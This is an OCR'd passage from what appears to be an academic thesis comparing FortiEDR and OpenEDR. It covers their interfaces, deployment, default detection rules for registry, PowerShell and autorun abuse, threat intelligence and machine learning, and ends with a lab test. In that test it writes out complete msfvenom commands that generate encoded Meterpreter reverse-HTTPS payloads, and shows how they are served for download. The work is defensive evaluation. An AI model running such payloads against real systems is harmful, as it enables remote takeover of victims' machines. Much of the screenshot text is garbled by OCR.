Threat Yes, using FortiGuard Labs threat
intelligence intelligence Yes, using Comodo threat intelligence
Yes, includes automated and manual Yes, includes automated and manual
Response response options response options

Endpoint visibility

Yes, provides comprehensive endpoint
visibility and control

Yes, provides comprehensive endpoint
visibility and control

Platform support

Windows, MacOS, Linux, and virtual
environments

Windows and MacOS

On-premises, cloud, and hybrid

On-premises, cloud, and hybrid

Deployment deployment options available deployment options available
Free OpenSource with Premium
possibilities.
Licensing Commercial product requiring a license Freemium
Free trial Yes, a free trial is available for testing Yes, a free trial is available for testing

Comparison Table
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Tools showcase

FortiEDR

In this section we will analyze the user interface of the FortiEDR solution. In the following
picture, there is the home page, where we can see an overview of the security events, the
communication controls, the collector with the most events, and their online activity.
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FortiEDR Dashboard

The Event Viewer page shows all the events that are created on the hosts and
categorized based on their importance, it enables you to display two different slices or views of
the event data collected by FortiEDR:

* Device View: This view presents information by device, and shows all the events
detected on a given device.

* Process View: This view presents information by process, and shows all the events
detected for a given process.
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FortiEDR Event Tab
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In the Forensics tab, a user can find more in-depth information regarding an alert and search
deeply into the actual internals of the communicating devices’ operating system that led up to
the event. The Forensic Analysis add-on provides an abundance of deep analysis and
drill-down options that reveal the process flows, memory stacks, and a variety of operating
system parameters in a graphic view, such as infected device and application details, evidence
path, which includes the process that the threat actor violated and which type of violation was
executed.

The Dashboard enables you to display two different slices or views of the data collected by
FortiEDR[8]:

*» Device View: This view presents information by device, and represents all the events detected
on a given device.

* Process View: This view presents information by process, and represents all the events
detected for a given process.

In the first picture, on Device view, we can see the process tree of the Event we selected to run
Forensic Analysis to.
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Selecting the Process view from the button on the top right we can see all the Files that was
accessed during the event and their specific hash:

e EE o
Eventesssss
Crisoiee
8 rié Eucepton i Retieve [N Remedote (2] hsoale [ soon Raw Data tems: All Selected | 111 a
DEVICE os PROCESS CLASSIFICATION DESTINATION RECEIVED LAST SEEN
[Qy—— Widos Sever 2015 S Pup s2o106120 ESe—— PrS—— °a
RAW ID: 1594864439 Process Type: 32bit Certfcate: Unsigned Process Path: L TookCyToo ool User: PCKSEPMAdminisrator Count 1

PARENT PROCESS CREATION  PARENT PROCESS CREATION CONNECTION
CONNECTION
Process ID: 8144 G} Company Froduct (SHA1)
‘Source Process: Tool(\Cy Description Comments: Process Owner: PCKSEPM\Administrator
Target Version Command Line:
EXECUTABLE FILE NAME WRITABLE CERTIFIGATE REPETITIONS BASE ADDRESS END ADDRESS HASH
b Devioe HerddiskVolume s Windows SysWOWBA mevsock i o Saned 1 07340000 07328000 B37798070058 0467 17C7CBSE3B00003F 508563
o Devios HarsdskVelume 4 Windows SysWOWSHmawsock i No Signes 2 07340000 07328000 B37798070058 0467 17C7CBSE3B00003F 508563
o \Device HarddiskVelume Windows SysWOWBAws2_22 oI No Sgned 1 07430000 743000 TABBIECFBB44CEDA2BB4540A018BCEF3T1SF2AS
° Devios HarsdiskVlume 1UsersIADMINI~ 1\ApDaiaLocai Temp 21_MEB1302)_sosket oy No Signes 2 072440000 ox72451000 5F4ATA2IBCDE2D3271500783BCODFDTF2SFTCAS
v Devioa HardskVol Mempiz, 1 " Mo Signed & 071660000 072230000 BEE4ABSDAED181T1STEID1ETERZO0014BAAIBAT2
o T T T T R SR R R R o Unsigned E o100 om0 602557 4AAFCODSE1B65CAADTICES 1952085865

Process view

The Communication Control tab identifies all the communicating applications detected in your
organization. It uses a set of policies that contain recommendations about whether an
application should be approved or denied from communicating outside of the organization[8]:
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Communication Control Tab
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The Policy Settings page displays the Communication Control policies that can be applied to an
application or version in the application list. Communication Control has its own policies. Each
policy row can be expanded to show the rules for that policy[8].
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Policy settings Tab

The Security Policies tab displays a row for each security policy that exists in the organization.
Each policy row can be expanded to show the rules that it contains, and there are many that are
provided out-of-the-box with several predefined security policies. By default, all policies are set
to Simulation mode (meaning that they only log and do not block) From this page security teams
can define additional policies:
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Security Policies tab

In the Inventory tab, users can have an overview of the collectors that are installed and see
details regarding their information (IP addresses, MAC) and status.
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OpenEDR

In this chapter we will describe the OpenEDR user interface. By logging it to your account we
are presented with a Service summary of all the activity in the last month.

oar T i v ” i & C
§ Dashboards Security Managed Security Assets Software Inventory Management Settings Welcome, gpanagos@gmall.com (53 [

Dashboards £

Endpoint Audit Compliance Xcitium Verdict Cloud Reports Notifications Audit Logs

Service Summary (Last three months)

A Events Processed (i ) Q Investigated Alerts i ] @ Incidents (i ) ‘ Tickets Notified i )
0 0 0 0

[ Unread Reports i )
0

Alert Summary (i ]

Comodo EDR Dashboard

In the dashboard we can see all the alerts that have been triggered based on a basic
categorization:

Dashboards i} .

Audit Compliance Xcitium Verdict Cloud Reports Notifications Audit Logs

Total Total
o Alerts 2 @ Devices 1

Malware Detections By Hash £8 Last 7 Days = Alerts By Type Most Recent Alerts
. (Last 30 Days)

(Last 30 Days)

Alert Name Score Alert Time

System Information Discovery 3 2023-02-0523:06:53
System User Discovery 3 2023-02-0523:06:53
No data available Antinus Quarsriine 4
ck 4
see All
Alerts By Endpoint B9 Last 7Days ~

Contained Files

OpenEDR Endpoint Tab
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In the Alerts tab, we can see the alert detection, all the events that are created, with details on
the score based on their urgency, alert name, time, the endpoint that was created and the status
of it.

§ Dashboards Security Managed Security Assets Software Inventory Management Settings Walcome, gpanages@gmall.com (8 [
Foef _ (¢=2) =] @ i) k57 @
Endpoint Securit 5 q . e - —
[ Y Alerts Investigate Security Status Blocked Threats Quarantined Threats Contained Threats Autorun Alerts
File File Hash Status
v S —— Clear
o S Aeply e
Alert List Close Alerts With In The Query
Component Alert Time Device Mitre ID Alert status (J
> EDR PCWITHOPENEDR Ti082 New (=]
> EDR PCWITHOPENEDR T103 (m]
> Antivirus MSEDGEWIN10
> Containment MSEDGEWIN1Q
Page Size: 20 +

Alerts Tab

In the Investigate tab is where we can do an event search. This is the place where we can see
more details about a certain event, and how this event happened.

Eg (@)

Endpoint Security

2 &
Alerts Security Status Blocked Threats Quarantined Threats Contained Threats Autorun Alerts

Query Fields Filter. > Filter. > | sampleQueries Filter > MyQueries Filter... >
L) L) List Powershell Events -+
v
:
<
Select fields to show aggregations + §
Component Event Type > N
VINTO
PCWITHOPENEDR b
Containment o ® R
(=] ¢
il Select Fields ]
# show Event Time Event Type Compenent Device Name N
> Create P EDR PCWITHOPENEDR i
> Create P EDR PCWITHOPENEDR .
> Create Process EDR PCWITHOPENEDR d |

Investigate tab
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In the Process Timeline security teams can see an analysis on how and when the event
happened either in a timeline or in a process tree.

> Dashboards

Endpuoint Security

Reset Zoom

Process Timeline Tab

Tool Deployment

FortiEDR

For the server side, the installation was completed by Adacom SA where | am using the paid
license and the only thing | am required to do is add the agents to the specific machines | want
to test, which is done by downloading it from a URL provided by Fortinet. For the Windows
hosts, the file is FortiEDRCollectorInstaller64.msi .

OpenEDR

For the server side, | am using the cloud option that Xcitium Platform provides. On first login,
the platform requires the user to put in a secure password and create MFA with a secure
authenticator application. By logging in you are presented with a detailed User interface that
guides you with all the steps that the user should perform to install the agents on the machines.
There is also an Elastic search implementation that provides the option to build the EDR on a
private server and install OpenEDR there [10]. This option, however, does not include the
graphical interface and you have to implement it on Kibana and Logstash.

In this case, it gave us a URL like the following:
https: n mailcom.itsm-us1.com
c4a1645e41416¢f5

This will install the agent automatically, and create the connections required for it. This
is really helpful as it enables security teams to install and run the open EDR in a short period of
time, and that can also help in a cyber incident case.
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Default rules and policies

FortiEDR

FortiEDR provides the following out-of-the-box policies|[8]:

« Exfiltration Prevention: This policy enables FortiEDR to distinguish which connection
establishment requests are malicious ones.

* Ransomware Prevention: This policy enables FortiEDR to detect and block malware that
prevents or limits users from accessing their own system.

+ Device Control: This policy enables FortiEDR to detect and block the usage of USB devices,
such as USB mass storage devices. In this policy, detection is based on the device type.

» Execution Prevention: This policy blocks the execution of files that are identified as malicious
or suspected to be malicious. For this policy, each file is analyzed to find evidence of malicious
activity. One of the following rules is triggered, based on the analysis result:

% Most Likely a Malicious File: A Malicious File Execution rule is triggered with critical
severity. By default, the file is blocked.
« Probably a Malicious File: A Suspicious File Execution rule is triggered with high
severity. By default, the file is blocked.
Show Evidence of Malicious File: An Unresolved file rule is triggered with a medium
severity. By default, the file is logged but is not blocked.

2
0‘0

OpenEDR
There are seven event categories in the company rules section[11]. These categories are:

Process Events — Rules to alert you when processes are invoked by an application
Registry Events - Rules to alert you about changes to the Windows registry on your
endpoints.
File Events - Rules to alert you about modifications to system files.
Download Events - Rules to alert you when files are downloaded via browsers, emails,
shared folders, or external drives.
e Upload Events - Rules to alert you when files are transferred to shared folders or
external drives.
e Defense Events - Rules to alert you when processes attempt to access critical
operating system functions or launch  attacks.
e Network Events - Rules to alert you about any service listening to ports and
network connections on your endpoints.

Based on “Appendix 3: Default Xcitium Security Policy Details’[11] we can see all the Policies
that are enabled by default:

Assessing Open and Closed EDRs 32



MeTtatrTuyiokn AloTpifn ewpyiog MavayiwTtakéTouAog

Event Name Description

Suspicious System Process Creation Process verdict is not safe AND file path matches %systemroot%*

Remote Powershell Execution

File path matches *wsmprovhost.exe

Suspicious Powershell Flag

Command line matches any of the following:
*powershell*-NoP*
*powershell*-Win*
*powershell*-w*
*powershell*-Exec*
*powershell*-ex*
*powershell*-ep*
*powershell*-command®
*powershell*-NoL*
*powershell*-InputFormat*
*powershell*-Enc*
*powershell*-NonlInteractive*
*powershell*-nonl*
*powershell*-file*

Stop Service

Command line matches %systemroot%system32net*stop*

Run Untrusted Executable

Verdict is not safe

Suspicious Process Hierarchy

Process path does not match *explorer.exe AND path matches
*powershell.exe OR patch matches *cmd.exe

Start Service

Command line matches %systemroot%system32net*start*

Registry Events

Disable User Account Control

Registry key path is equal to
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion
PoliciesSystem

AND registry value name is equal to EnableLUAO

AND registry value data is equal to 0.

Disable Task Manager

Registry key path is equal to
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVers
ionPoliciesSystem

AND registry value name is equal to DisableTaskMgr

AND registry value data is equal to 1

Installation of Drivers

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices* AND
registry value name is equal to Type

AND

Registry value data is equal to 1

OR registry value data is equal to 2

Add Service to svchost

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices* AND
registry value name is equal to ImagePath AND registry value data
matches *svchost.exe*

OR

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices*Para
meters AND registry value name is equal to ServiceDIl AND registry
matches *.dll
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Add Active Setup Value In Registry

Registry key path matches
HKEY_LOCAL_MACHINESoftwareMicrosoftActive Setuplnstalled
Components*

Modify Powershell Execution Policy

Registry key path is equal to
HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1Shelllds
Microsoft.PowerShell AND registry value name is equal to
ExecutionPolicy

Modify Firewall Settings

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesShare
dAccessParametersFirewallPolicyStandardProfile*

Disable Registry Editing Tool

Registry key path is equal to
HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVers
ionPoliciesSystem AND registry value name is equal to
DisableRegistryTools AND registry value data is equal to 1.

Modify Applnit_DLLs in Registry

Registry key path is equal to
HKEY_LOCAL_MACHINESoftwareMicrosoftWindows
NTCurrentVersionWindows AND registry value name is equal to
Applnit_DLLs

Add Service

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices* AND
registry value name is equal to ImagePath AND registry value data
matches *.exe* AND registry value data doesn't match *svchost.exe*

Layered Service Provider installation

Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesWinSo
ck2ParametersProtocol_Catalog9Catalog_Entries*

Disable Auto Update

Registry key path is equal to
HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWin
dowsUpdateAU AND registry value name is equal to NoAutoUpdate
AND registry value data is equal to 1

OR

Registry key path is equal to
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindo
wsUpdate AND registry value name is equal to
DisableWindowsUpdateAccess AND registry value data is equal to 1
OR

Registry key path is equal to
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
PoliciesWindowsUpdate AND registry value name is equal to
DisableWindowsUpdateAccess AND registry value data is equal to 1
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Add Autorun In Registry

Registry key path matches any of the following:
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsSystem
ScriptsStartup*
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsSystem
ScriptsLogon*
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
PoliciesSystem*
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer
sionRunOnceEx*
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer
sionRunOnce*
HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersi
onWindows*
HKEY_CURRENT_USERSoftwareMicrosoftWindowsNTCurrentVersi
onWindowsRun*
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer
sionPoliciesExplorerRun*
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
PoliciesExplorerRun*
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsSystem
ScriptsLogoff*
HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsSystem
ScriptsShutdown*

OR

Registry key path equals any of the following:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer
sionRun
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
Run
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
RunOnce

Booting Time Execution

Registry key path is equal to
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession
Manager AND registry value name is equal to BootExecute

Disable Service

Registry key path matches
HKEY_LOCAL_MACHINESystemCurrentControlSetServices* AND
registry value name is equal to Start AND registry value data is equal
to 4

Disable Windows Application

Registry key path is equal to
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVer
sionPoliciesExplorerDisallowRun

Disable Command Prompt

Registry key path is equal to
HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsSystem
AND registry value name is equal to DisableCMD AND registry value
data is equal to 2

Disable Show Hidden Files

Registry key path is equal to
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion
ExplorerAdvanced AND registry value data is equal to 2

AND

Registry value name is equal to Hidden OR registry value name is
equal to ShowSuperHidden
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Addition of DNS Server Registry key path matches
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipP
arametersinterfaces* AND registry value name is equal to
NameServer

Modify Hosts File Registry Registry key path is equal
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpipP
arameters AND registry value name equal to DataBasePath

File Events

Add Scheduled Task File path matches %systemroot%System32Tasks* OR
%systemroot% Tasks*

Write Fake System File File path matches *svchOst.exe OR *svhost.exe

Write to System Directory File path matches %systemroot%*

Add Startup File or Folder File path matches any of the following:
Y%appdata%MicrosoftWindowsStart MenuProgramsStartup*
Y%programdata%MicrosoftWindowsStart MenuProgramsStartup*
Y%systemroot%systemiosubsys*
Y%systemroot%systemvmm32*

Y%systemroot% Tasks™

OR

File path equals any of the following:
%systemdrive%autoexec.bat
%systemdrive%config.sys
Y%systemroot%wininit.ini
%systemroot%winstart.bat
Y%systemroot%win.ini
Y%systemroot%system.ini
Y%systemroot%dosstart.bat

Modify Host File File path is equal to %systemroot%system32driversetchosts

Write to Executable File type is equal to PORTABLE_EXECUTABLE
AND
Process path doesn't match *explorer.exe
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Write to Infectible File

Process path doesn't match *iexplorer.exe
AND
File path matches any of the following:
*Ink
*.wsf
*.hta
*.mhtml
*.html
*.doc
*.docm
* xls
*xlsm
*.ppt
*.pptm
*.chm
*.vbs
*js
*.bat
*.pif
*.pdf
*jar
.Sys

*

Modify Group Policy Settings

File path matches %systemroot%system32grouppolicy* OR
Y%systemroot%Sysvolsysvol*Policies*

Write to Program Files Directory

File path matches %programfiles%*

Download Events

Download Infectible File

File path matches any of the following:
*.Ink
*.wsf

* hta
*.mhtml
* html
*.doc
*.docm
* xls

* xlsm
*.ppt
*.pptm
*.chm
*.vbs
*js

* bat

* pif
*.pdf
*jar
.Sys

*

Download Executable

File type is equal to PORTABLE_EXECUTABLE

Upload Events

Write Executable to Shared Folder

File type is equal to PORTABLE_EXECUTABLE
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Write Infectible to Shared Folder File path matches any of the following:
*.Ink
*.wsf
*.hta
*.mhtml
*.html
*.doc
*.docm
*xls

* xlsm
*.ppt
*.pptm
*.chm
*.vbs
*js
*.bat
*.pif
*.pdf
*jar
*.sys

Available Policies

Threat Intelligence

Threat intelligence refers to information that is collected, analyzed, and used to identify potential
cyber threats or attacks, and to develop strategies for mitigating or preventing them. Threat
intelligence can come from a variety of sources, including security researchers, threat actors,
security incidents, and security tools.

Threat intelligence can help organizations stay up-to-date on the latest security trends
and best practices, which is critical in the rapidly evolving field of cybersecurity. In this chapter,
we will analyze where these EDRs take their threat intelligence and how it benefits the
organization.

FortiEDR

In addition to using external threat intelligence feeds,_FortiEDR’s native integration with
FortiGuard Labs allows up-to-date intelligence, supporting real-time incident classification to
enable accurate incident response playbook activation. Fortinet EDR has an advantage on this,
as it has FortiGuard Labs as an in-house security team. The lab's goal is to enrich findings with
real-time threat intelligence feeds from a continuously updated cloud database. [12]

FortiGuard Labs provides ongoing analysis and reporting on the latest threat trends,
which can be used by FortiEDR and other Fortinet security solutions to detect and prevent
attacks. If the organization is using more Fortinet solutions, it would benefit from the information
exported by FortiEDR. The tools that would operate well with this EDR, based on Fortinet
Datasheet [12] are the following:

% FortiGate: The FortiEDR connector enables the sharing of endpoint threat intelligence
and application information with FortiGate. FortiEDR management can instruct
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enhanced response actions for FortiGate, such as suspending or blocking an IP
address following an infiltration attack.

FortiNAC: FortiEDR shares endpoint threat intelligence and discovered assets with
FortiNAC. With Syslog sharing, FortiEDR management can instruct enhanced response
actions for FortiNAC, such as isolating a device to a remediation VLAN.

FortiSandbox: FortiEDR’s native integration with FortiSandbox automatically submits
suspicious files to the sandbox in the cloud, supporting real-time event analysis and
classification. Additionally, it shares threat intelligence with FortiSandbox.

2
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OpenEDR

OpenEDR uses intelligence from Xcitium Threat Laboratories [13] intelligence as well as
recommended security policy. The Verdict Cloud analyzes and identifies all contained unknown
files on the virtualized endpoint, and returns a fast malicious/benign verdict.

Comodo’s Valkyrie is also available for threat intelligence[14] and analyzes and gives a
trusted verdict for every file and gives a trusted verdict for 100% of files on a network. Comodo’s
platform shares intelligence between every component of the platform and is therefore more
secure than disparate products that claim best of breed but don’t share information. It has a
complete cloud-native framework and delivers a zero-trust architecture with active breach
protection for the most comprehensive defense against zero-day threats. Comodo’s
cybersecurity products maximize intelligent sharing between every component of the platform,
therefore providing superior security. Headquartered in Clifton NJ, Comodo’s global
development team and threat intelligence laboratories deliver innovative, category leading,
security solutions for thousands of companies’ endpoints, network boundaries, and internal
networks.

OpenEDR solutions can also obtain threat intelligence from a variety of sources. Some
of them are the following:

1. In-house security research: OpenEDR providers may have their own security research
teams that analyze threat data and identify emerging threats. These insights can be
used to improve the effectiveness of the OpenEDR solution.

2. Publicly available threat feeds: OpenEDR providers may subscribe to publicly available
threat feeds that provide up-to-date information on known threats, malware samples,
and indicators of compromise.

3. Commercial threat intelligence feeds: OpenEDR providers may partner with third-party
threat intelligence providers to access additional threat data. These providers may have
access to data from a wide range of sources and can provide more comprehensive
coverage of the threat landscape.

4. Community-based threat intelligence: OpenEDR providers may rely on information
shared within online communities, such as information shared by other security
researchers or open-source threat intelligence platforms.
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Machine Learning

FortiEDR

Machine learning is a subset of artificial intelligence that involves training algorithms to learn
from data and make predictions or decisions without being explicitly programmed. In the case of
FortiEDR, machine learning algorithms are trained on large amounts of data to identify patterns
and behaviors that are associated with known and unknown threats. The algorithms use this
knowledge to detect and respond to potential threats in real time.

FortiEDR uses machine learning algorithms in several ways, including:

1. Behavioral Analysis: Machine learning algorithms can analyze the behavior of endpoints
to identify deviations from normal patterns, which could indicate a potential threat.

2. Malware Detection: Machine learning algorithms can analyze files and code to identify
characteristics that are indicative of malware.

3. Threat Hunting: Machine learning algorithms can be used to identify new and emerging
threats by analyzing large volumes of data and identifying patterns that are indicative of
a threat.

Overall, the use of machine learning in FortiEDR helps to improve the accuracy and
efficiency of threat detection and response, enabling organizations to better protect their
endpoints from advanced threats.

OpenEDR

OpenEDR combines a range of technologies, including machine learning algorithms, to help
security teams identify and respond to threats more quickly and effectively.

One example of how machine learning can be used in OpenEDR is through the use of
anomaly detection algorithms. Anomaly detection algorithms can analyze the behavior of
endpoints and detect unusual or suspicious activity, such as a user logging in from an
unexpected location or a process running at an unusual time. These algorithms can be trained
using historical data to improve their accuracy in identifying anomalies and to reduce the
number of false positives.

To sum up, machine learning can play a critical role in improving the effectiveness of
openEDR solutions, by enabling security teams to quickly and accurately detect and respond to
threats on endpoints.

Layers of protection (endpoint- behavioral analysis)

A layer of protection is a concept used in the field of security and risk management to describe
the different levels of security measures that are implemented to protect assets, such as data,
physical infrastructure, or intellectual property, against potential threats. In this chapter, we will
analyze and compare the different layers that each EDR has.
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FortiEDR
The layers of protection provided by FortiEDR include:

1.

Real-time continuous monitoring: FortiEDR continuously monitors endpoints for
suspicious activity, such as file system changes, process launches, network
connections, and system configuration changes.

Behavioral-based threat detection: FortiEDR uses behavioral analysis to detect and
block advanced threats that may evade traditional signature-based antivirus solutions.
This includes analyzing endpoint behavior for suspicious patterns and comparing it to
known attack methods.

Machine learning-based detection: FortiEDR leverages machine learning to detect and
respond to previously unknown threats, including fileless malware, zero-day attacks,
and ransomware.

Sandbox analysis: FortiEDR can analyze suspicious files and applications in a sandbox
environment to detect and prevent malicious behavior before it can infect endpoints.
Automated response: FortiEDR can automatically respond to security events on
endpoints, such as quarantining malware, isolating infected endpoints, and blocking
malicious traffic.

Remediation: FortiEDR provides forensic data and remediation tools to help security
teams investigate and remediate security incidents on endpoints.

OpenEDR
The layers of protection provided by OpenEDR include:

1.

Prevention: OpenEDR uses various prevention techniques such as antivirus software,
firewalls, and other security measures to prevent potential threats from infecting an
endpoint in the first place.

Detection: OpenEDR uses behavioral analytics and machine learning to detect
anomalous behavior that may indicate a security threat. It analyzes endpoint events and
system logs to identify patterns of activity that may indicate malicious behavior.
Investigation: OpenEDR provides detailed information about security threats, including
the origin, type, and impact of the threat. This information enables security analysts to
quickly investigate the threat and determine the appropriate response.

Response: OpenEDR provides various response options, including isolating an infected
endpoint, blocking malicious traffic, and cleaning the endpoint of the infection. The
response options are designed to contain the threat and prevent it from spreading to
other endpoints or compromising sensitive data.

Remediation: OpenEDR also provides tools for remediating the effects of security
threats, such as restoring system files and configurations, and ensuring that endpoints
are secure and functioning properly.
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Testing

In order to test the effectiveness of EDR solutions, we will try to simulate attack scenarios that
might happen in an organization and then we will monitor the system's response.

One of the ways to test this effectiveness is by using standard attack techniques, for
example ones found in the MITRE ATT&CK framework. This will provide insights on the
possibility to detect and respond to known attacks.

Another method is to use "red teaming" exercises, where a team of security experts
simulates an attack on the network using a variety of techniques, including social engineering,
phishing, and malware injection. The goal of red teaming is to test the overall security of the
network, including the effectiveness of the EDR system. It is important to also test the system
on a regular basis, so that it can be updated and fine-tuned as needed to meet the latest threat
landscape.

The Lab setup is the following:

User Endpoint
(test machine)

Kali Linux
Threat Actor
(Attacker)
Domain Controller
Windows Server
2019
Lab Setup
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Metasploit
Initial Setup for MSF Testing

For this test, we will be using the Metasploit Framework, a well-known and true

adversary and red team platform still in use both by penetration testers and real-world
attackers.

For the following attacks, we are changing the default metasploit SSL cert:

xABNumbers/ xample.org

Changing Metasploit SSL cert

We take the .pem file and use it for setting the SSL cert in the msf.rc file. We are
changing: set HANDLERSSLCERT /root/attack.crt

To our new cert we collected:

set HANDLERSSLCERT
/root/.msf4/100t/20230309160835_default 93.184.216.34 93.184.216.34 pe 759511.pem

HANDLER CER t
msf6 HANDLER F fault_93. 4 _pe_759511.pe

HANDLERSSLCERT Lt_ . 511.pem

Terminal Handlerssicert
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Payload Generation

Malware mitigation against already hashed ones, is helpful, but it is not enough. Our basic goal
is to test the endpoint system. We are going to generate three payloads at various iterations of
encoding complexity using MSFvenom and the shikata ga nai encoder. This will make the
payloads unique to our test. The shikata ga nai encoder used to be a very effective evasion
method, but the encoding method should be readily detected by most antivirus programs
today.[18]

We are creating 3 msfvenom payloads with lhost IP to our Kali system IP address.

Payload 1. msfvenom -a x86 --platform windows -p windows/meterpreter/reverse https -e
x86/shikata_ga_nai -i 1 Iport=8443 lhost=192.168.1.145 -b "\x00" -f exe -0 test.exe

Payload Generation 1

Payload 2: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https -e
x86/shikata_ga_nai -i 20 Iport=8443 lhost=192.168.1.145 -b "\x00" -f exe -0 test2.exe

ding
Found 1 ¢

i chosen with final
00

Payload Generation 2
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Payload 3: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https -e
x86/shikata_ga_nai -i 30 Iport=8443 lhost=192.168.1.145 -b "\x00\xff" -f exe -0 test3.exe

ov ing user e
Found 1 compatible

Payload Generation 3

For this test, as with the methodology referred to “How To Test Antivirus and EDR Software: A
Complete Guide” by Brian Laskowski [19], it is considered useful to provide loopholes for the
testing process. For example local admin privileges or disabling the Windows Defender.. We will
apply an “assumed breach” methodology as our goal is to test the general effectiveness of the

tool rather than test every aspect of the attack chain.
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Initial Access & Execution

In the first test, we are simulating a simple phishing link that directs the victim to a very simple
website where they have to download some files. Our goal in this case is to see whether EDR
inspects traffic to the host or hooks into the browser to block malicious files.

For the initial Access test, and in order to complete the payload delivery, we first have to
start a web server using python in the same directory as our 3 payloads we created earlier.
We are doing this by executing: python3 -m http.server

python3 -m http.server
: python3 -m http.server

ing HTTP on

J.msf4/ HTTP/1.1"

python3 server

On our test machine we will try to download the three payloads we created earlier.

OpenEDR

At first using Google Chrome blocked all downloads and created temp files to protect the host.

Anyone using this device can see

downloaded files

test3.exe Resume

Something went wrong

testl2.exe Resume

Something w

test.exe Resume

something wen

Test alerts from defender
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Many alerts were generated:

Component Score Alert Name Alert Time

Antivirus Antivirus Detect Malware 2023-03-10 01:47:51
Antivirus Antivirus Quarantine 2023-03-10 01:47:51
Antivirus Antivirus Detect Malware 2023-03-10 01:47:54
Antivirus Antivirus Quarantine 2023-03-10 01:44:46
Antivirus Antivirus Quarantine 2023-03-10 01:42:58
Antivirus Antivirus Detect Malware 2023-03-10 01:43:16
Antivirus Antivirus Detect Malware 2023-03-10 01:43:19
Antivirus m Malware Detection 2023-03-10 01:47:51

Alerts overview

The High risk alert, “Malware Detection” found a TrojWare.Win32.Rozena. A@275288211.

File Name: Unconfirmed 416904.crdownload

File Path: C:\Users\gpanag\Downloads\Unconfirmed 416904.crdownload

Event Generated

We will now try to download them manually and check again:

test3.exe

test2.exe

Download completed

The download was successful, but when | tried to access them they were removed immediately.
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The alerts that are created:

Antivirus n Antivirus Quarantine
Antivirus n Antivirus Quarantine
Antivirus n Antivirus Detect Malware
Antivirus n Antivirus Detect Malware
Antivirus n Antivirus Detect Malware
Antivirus n Antivirus Quarantine

Generated Alerts

File Hash: d5b61a713b6159224ada4885cc9e5bdbed27fcf5

File Name: test.exe

File path: C:\Users\gpanag\Downloads\test.exe

Event Generated

FortiEDR

At first using Google Chrome we were trying to download the files, but Google gave us a big
warning and created .crdownload files of it.

D Unconfirmed 42423.crdownload 3/11/2023 10:24 A..  CRDOWNLOAD File 73 KB
D Unconfirmed 88634.crdownload 3/11/2023 10:24 A, CRDOWNMNLOAD File 73 KB
[ ] Unconfirmed 312090.crdownload 3/11/2023 10:24 A..  CRDOWNLOAD File T3 KB
* festexe
» testd.exe
* ftestd.exe
* Videos/

o test2.exe is dangerous, so 0 testexe is dangerous, so

Chrome has blocked it.

Discard ~ Discard ~

test3.exe is dangerous, so .
o . Discard A .
Chrome has blocked it. Chrome has blocked it.

Chrome Downloads
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Internet Explorer let us download it in the same .crdownload format with a warning:

Tl - Tt =dk

Downloads B Q - £

test3.exe isn't commaonly downloaded. Make sure you trust
test3.exe before you open it.

testZ.exe isn't commanly downloaded. Make sure you trust
test2.exe before you open it.

test.exe isn't commonly downloaded. Make sure you trust
test.exe before you open it.

See more
D Unconfirmed 22533 1.crdownload 3/11/2023 10:22 A, CRDOWNLOAD File
D Unconfirmed 691082.crdownload 3/11/2023 10:22 A..  CRDOWNLOAD File
D Unconfirmed 778410.crdownload 3/11/2023 10:22 A..  CRDOWNLOAD File

| =]
L L

|

[#8]

Internet Explorer Downloads

Although Internet explorer give us a way to easily bypass this by selecting “keep the file”

A Make sure you trust test3
(1).exe before you open it

Microsoft Defender SmartScreen couldn't
verify if this file is safe because it isn't
commonly downloaded. Make sure you
trust the file you're downloading or its
source before you open it.

Name: test3 (1).exe
Publisher: Unknown

Show more v

Internet Explorer notification

By selecting Show more>Keep Anyway we have the three files downloaded.
At this point no alerts were generated in the FortiEDR.
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Although when we tried to open all files, the action was blocked by FortiEDR and it created
three alerts for each file:

test2 (1).exe (1 event) ¥ Walicious 11-Mar-2023, 19:28:07  11-Mar-2023, 19:28:07

| 4 8683556 MSEDGEWIN10 test2 (1).exe ¥ Malicious File Read Atempt  11-Mar-2023, 1928:07  11-Mar-2023, 19:28:07 Q

DIFLOMATIKl\gpanag DIPLOMATIKI\gpanag Unsigned CiUsers\gpanag\Downloads\test2 (1).exe 1

test3 (1).exe (1 event) ¥ Malicious 11-Mar-2023, 19:27:41  11-Mar-2023, 19:28:19
| 3683547 MSEDGEWIN10 test3 (1).exe ¥ Malicious File Read Altempt  11-Mar-2023, 19:27.41  11-Mar-2023, 19:28:19 @
*n
